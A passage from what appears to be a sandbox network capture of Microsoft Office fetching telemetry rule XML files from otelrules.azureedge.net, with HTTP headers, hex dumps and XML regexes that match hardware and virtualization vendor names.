<R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054027Z-185f5d8b95cgrrn8hC1NYCgwh400000009pg000000008m33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:27 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054027Z-185f5d8b95cdh56ghC1NYCk1x400000003kg00000000fyvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:27 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054027Z-185f5d8b95c5lcmhhC1NYCsnsw00000009vg00000000bbk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054028Z-1777c6cb754vxwc9hC1TEBykgw000000092000000000kyb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054028Z-185f5d8b95cdcwrthC1NYCy5b800000009t0000000009pwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:28 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054028Z-r1d97b99577jlrkbhC1TEBq8d0000000086g00000000k8cr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:28 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054028Z-1777c6cb754mqztshC1TEB4mkc000000094g00000000gq50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:28 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054028Z-r1d97b99577mrt4rhC1TEBftkc00000008e0000000000fxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:28 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054028Z-1777c6cb754lv4cqhC1TEB13us000000092000000000hy46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:29 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054029Z-185f5d8b95cdtclvhC1NYC4rmc00000009ug00000000rnwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054029Z-185f5d8b95cdtclvhC1NYC4rmc00000009u000000000v026 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:29 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:29 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054029Z-185f5d8b95c4hl5whC1NYCeex000000009pg00000000dzkn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
